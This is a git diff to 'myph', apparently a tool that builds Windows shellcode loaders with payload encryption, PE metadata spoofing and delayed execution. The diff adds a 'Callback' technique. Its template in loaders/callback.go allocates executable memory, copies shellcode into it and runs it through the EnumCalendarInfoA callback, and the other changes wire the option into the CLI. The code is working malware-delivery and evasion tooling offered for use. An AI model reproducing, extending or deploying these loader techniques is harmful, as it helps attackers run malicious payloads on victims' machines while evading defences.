myph

diff --git a/README.md b/README.md
@@ -81,6 +81,7 @@ Flags:
   -s, --shellcode string     shellcode path (default "msf.raw")
       --sleep-time uint      sleep time in seconds before executing loader (default: 0)
   -t, --technique string     shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall, Etwp) (default "CRT")
+
   -v, --version              version for myph
 
 Use "myph [command] --help" for more information about a command.
@@ -93,6 +94,7 @@ This tool supports few methods for now, but aims to add more as time goes on:
 - CreateFiber
 - CreateThread
 - Process hollowing
+- Callback
 - CreateRemoteThread
 - EtwpCreateEtwThread
 - CreateRemoteThreadEx

diff --git a/cli/parser.go b/cli/parser.go
@@ -303,12 +303,13 @@ func GetParser(opts *Options) *cobra.Command {
 	defaults := GetDefaultCLIOptions()
 	var rootCmd = runLoader
 
+
 	rootCmd.AddCommand(spoofMetadata)
 
 	rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
 	rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
 	rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
-	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall, Etwp)")
+	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Callback, Syscall, Etwp)")
 	rootCmd.Flags().StringVarP(&opts.BuildType, "builtype", "b", defaults.BuildType, "define the output type (allowed: exe, dll)")
 	rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
 	rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
@@ -318,5 +319,7 @@ func GetParser(opts *Options) *cobra.Command {
 	spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
 	spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
 
+
 	return rootCmd
+
 }

diff --git a/cli/types.go b/cli/types.go
@@ -21,6 +21,7 @@ const (
 	CreateFiber      technique = "CreateFiber"
 	CreateThread     technique = "CreateThread"
 	ProcessHollowing technique = "ProcessHollowing"
+	Callback         technique = "Callback"
 )
 
 // String is used both by fmt.Print and by Cobra in help text
@@ -52,11 +53,11 @@ func (e *technique) String() string {
 // Set must have pointer receiver so it doesn't change the value of a copy
 func (e *technique) Set(v string) error {
 	switch v {
-	case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Etwp":
+	case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Callback", "Etwp":
 		*e = technique(v)
 		return nil
 	default:
-		return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"Etwp\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+		return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"Etwp\", \"Callback\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
 	}
 }
 

diff --git a/loaders/callback.go b/loaders/callback.go
@@ -0,0 +1,60 @@
+package loaders
+
+import (
+	"fmt"
+)
+
+func GetCallbackTemplate(targetProcess string) string {
+	var _ = targetProcess // unused in this template
+
+	println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+	return fmt.Sprintf(`
+package main
+
+import (
+	"syscall"
+	"unsafe"
+)
+
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+	kernel32        = syscall.MustLoadDLL("kernel32.dll")
+	ntdll           = syscall.MustLoadDLL("ntdll.dll")
+
+	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
+	EnumCalendarInfoA        = kernel32.MustFindProc("EnumCalendarInfoA")
+	RtlCopyMemory   = ntdll.MustFindProc("RtlCopyMemory")
+
+	LOCALE_USER_DEFAULT = 0x0400
+	ENUM_ALL_CALENDARS = 0xFFFFFFFF
+	CAL_SMONTHNAME1 = 0x00000015
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+	addr, _, _ := VirtualAlloc.Call(
+		0,
+		uintptr(len(shellcode)),
+		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+	)
+
+	_, _, _ = RtlCopyMemory.Call(
+		addr,
+		(uintptr)(unsafe.Pointer(&shellcode[0])),
+		uintptr(len(shellcode)),
+	)
+
+	_, _, _ = EnumCalendarInfoA.Call(
+		addr,
+		(uintptr)(LOCALE_USER_DEFAULT),
+		(uintptr)(ENUM_ALL_CALENDARS),
+		(uintptr)(CAL_SMONTHNAME1),
+	)
+}
+    `)
+}

diff --git a/loaders/utils.go b/loaders/utils.go
@@ -24,12 +24,17 @@ func SelectTemplate(templateName string) func(string) string {
 	case "Syscall":
 		return GetSyscallTemplate
 
+
+	case "Callback":
+		return GetCallbackTemplate
+
 	case "CreateFiber":
 		return GetCreateFiberTemplate
 
 	case "Etwp":
 		return GetEtwpCreateEtwThreadTemplate
 
+
 	}
 
 	return nil

diff --git a/tools/utils.go b/tools/utils.go
@@ -104,7 +104,7 @@ func CreateTmpProjectRoot(path string, persist string) error {
 	}
 
 	var go_mod = []byte(`
-module github.com/cmepw/myph
+module whatever
 
 go 1.19
 
@@ -179,7 +179,7 @@ var Code = %s
     }
 
     time.Sleep(%d * time.Second)
-    
+
 	  %s
     ExecuteOrderSixtySix(decrypted)
 }